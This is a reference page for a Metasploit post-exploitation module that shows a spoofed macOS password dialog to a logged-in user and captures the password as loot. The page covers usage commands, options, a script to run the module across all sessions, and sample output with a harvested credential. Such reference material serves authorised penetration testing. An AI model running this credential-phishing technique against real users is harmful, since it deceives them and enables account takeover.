OSX Password Prompt Spoof - Metasploit


This page contains detailed information about how to use the post/osx/gather/password_prompt_spoof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OSX Password Prompt Spoof
Module: post/osx/gather/password_prompt_spoof
Source code: modules/post/osx/gather/password_prompt_spoof.rb
Disclosure date: -
Last modification time: 2020-02-13 16:17:33 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Presents a password prompt dialog to a logged-in OSX user.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/password_prompt_spoof

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/password_prompt_spoof
msf post(password_prompt_spoof) > show options
    ... show and set options ...
msf post(password_prompt_spoof) > set SESSION session-id
msf post(password_prompt_spoof) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/password_prompt_spoof")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Presents a password prompt dialog to a logged-in OSX user. Depending on the version of OSX, additional steps may be necessary to allow permission for the prompt to be displayed. See Scenarios for additional details.

Verification Steps


  1. Start msfconsole
  2. Get a shell, user level is fine.
  3. Do: use post/osx/gather/password_prompt_spoof
  4. Do: set session #
  5. Do: run
  6. The user will be prompted to enter their password, or complete additional steps.

Options


BUNDLEPATH Path to bundle containing icon. Default is /System/Library/CoreServices/CoreTypes.bundle.

ICONFILE Icon filename relative to bundle. Default is UserUnknownIcon.icns

TEXTCREDS Text displayed when asking for a password. Default is Type your password to allow System Preferences to make changes.

TIMEOUT Timeout for user to enter credentails. Default is 60. Newer versions of OSX may require additional time due to user interaction.

Scenarios


User level shell on OSX 10.14.4

If the user does not complete the prompt in time, or does not enable permissions to receive the prompt:

msf5 post(osx/gather/password_prompt_spoof) > run

[*] Running module against MacBook-Pro.nogroup
[*] Waiting for user 'h00die' to enter credentials...
[*] Timeout period expired before credentials were entered!
[*] Cleaning up files in MacBook-Pro.nogroup:/tmp/.SGFvISFemjti
[*] Post module execution completed

If the user DOES complete the prompt in time:

msf5 post(osx/gather/password_prompt_spoof) > run

[*] Running module against MacBook-Pro.nogroup
[*] Waiting for user 'h00die' to enter credentials...
[*] Password entered! What a nice compliant user...
[+] password file contents: 20190415_122536:h00die:alfalfasprouts!
[+] Password data stored as loot in: /loot/20190415122537_default_192.168.2.225_password_355107.txt
[*] Cleaning up files in MacBook-Pro.nogroup:/tmp/.jJATztdro
[*] Post module execution completed

User Experience


The following screen shots are from OSX 10.14.4 from a ssh_login shell as the user. Executable may change depending on the shell type and user permissions.

The user is first prompts for additional permissions (System Events):

<img width="423" alt="Screen Shot 2019-04-15 at 12 19 38 PM" src="https://user-images.githubusercontent.com/752491/56173728-ead79c80-5fbc-11e9-8a8f-3b3265220c95.png">

Next, the user is prompted to allow Accessibility Access (Events):

<img width="463" alt="Screen Shot 2019-04-15 at 12 20 08 PM" src="https://user-images.githubusercontent.com/752491/56173737-f4f99b00-5fbc-11e9-9dcc-efbfe0cd08eb.png">

Clicking Open System Preferences shows the executable asking for the permissions. The screenshot was taken after clicking the lock in the bottom left corner, and checking sshd-keygen-wrapper:

<img width="670" alt="Screen Shot 2019-04-15 at 12 24 27 PM" src="https://user-images.githubusercontent.com/752491/56173742-fa56e580-5fbc-11e9-8d28-5669e9e9448f.png">

Finally, if done within the TIMEOUT (or with all required permissions):

<img width="424" alt="Screen Shot 2019-04-15 at 12 25 25 PM" src="https://user-images.githubusercontent.com/752491/56173748-fe830300-5fbc-11e9-9564-0e7137b051a8.png">

Go back to menu.

Msfconsole Usage


Here is how the osx/gather/password_prompt_spoof post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/password_prompt_spoof

msf6 post(osx/gather/password_prompt_spoof) > show info

       Name: OSX Password Prompt Spoof
     Module: post/osx/gather/password_prompt_spoof
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  Joff Thyer <[email protected]>
  joev <[email protected]>
  Peter Toth <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name        Current Setting                                                 Required  Description
  ----        ---------------                                                 --------  -----------
  BUNDLEPATH  /System/Library/CoreServices/CoreTypes.bundle                   yes       Path to bundle containing icon
  ICONFILE    UserUnknownIcon.icns                                            yes       Icon filename relative to bundle
  SESSION                                                                     yes       The session to run this module on.
  TEXTCREDS   Type your password to allow System Preferences to make changes  yes       Text displayed when asking for password
  TIMEOUT     60                                                              yes       Timeout for user to enter credentials

Description:
  Presents a password prompt dialog to a logged-in OSX user.

References:
  http://blog.packetheader.net/2011/10/fun-with-applescript.html

Module Options


This is a complete list of options available in the osx/gather/password_prompt_spoof post exploitation module:

msf6 post(osx/gather/password_prompt_spoof) > show options

Module options (post/osx/gather/password_prompt_spoof):

   Name        Current Setting                                                 Required  Description
   ----        ---------------                                                 --------  -----------
   BUNDLEPATH  /System/Library/CoreServices/CoreTypes.bundle                   yes       Path to bundle containing icon
   ICONFILE    UserUnknownIcon.icns                                            yes       Icon filename relative to bundle
   SESSION                                                                     yes       The session to run this module on.
   TEXTCREDS   Type your password to allow System Preferences to make changes  yes       Text displayed when asking for password
   TIMEOUT     60                                                              yes       Timeout for user to enter credentials

Advanced Options


Here is a complete list of advanced options supported by the osx/gather/password_prompt_spoof post exploitation module:

msf6 post(osx/gather/password_prompt_spoof) > show advanced

Module advanced options (post/osx/gather/password_prompt_spoof):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/gather/password_prompt_spoof module can do:

msf6 post(osx/gather/password_prompt_spoof) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the osx/gather/password_prompt_spoof post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/password_prompt_spoof) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid session ID selected. Make sure the host isn't dead.


Here is a relevant code snippet related to the "Invalid session ID selected. Make sure the host isn't dead." error message:

61:	#  end
62:	
63:	  # Run Method for when run command is issued
64:	  def run
65:	    if client.nil?
66:	      print_error("Invalid session ID selected. Make sure the host isn't dead.")
67:	      return
68:	    end
69:	
70:	    host = case session.type
71:	    when /meterpreter/

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Joff Thyer <jsthyer[at]gmail.com>
  • joev
  • Peter Toth <globetother[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.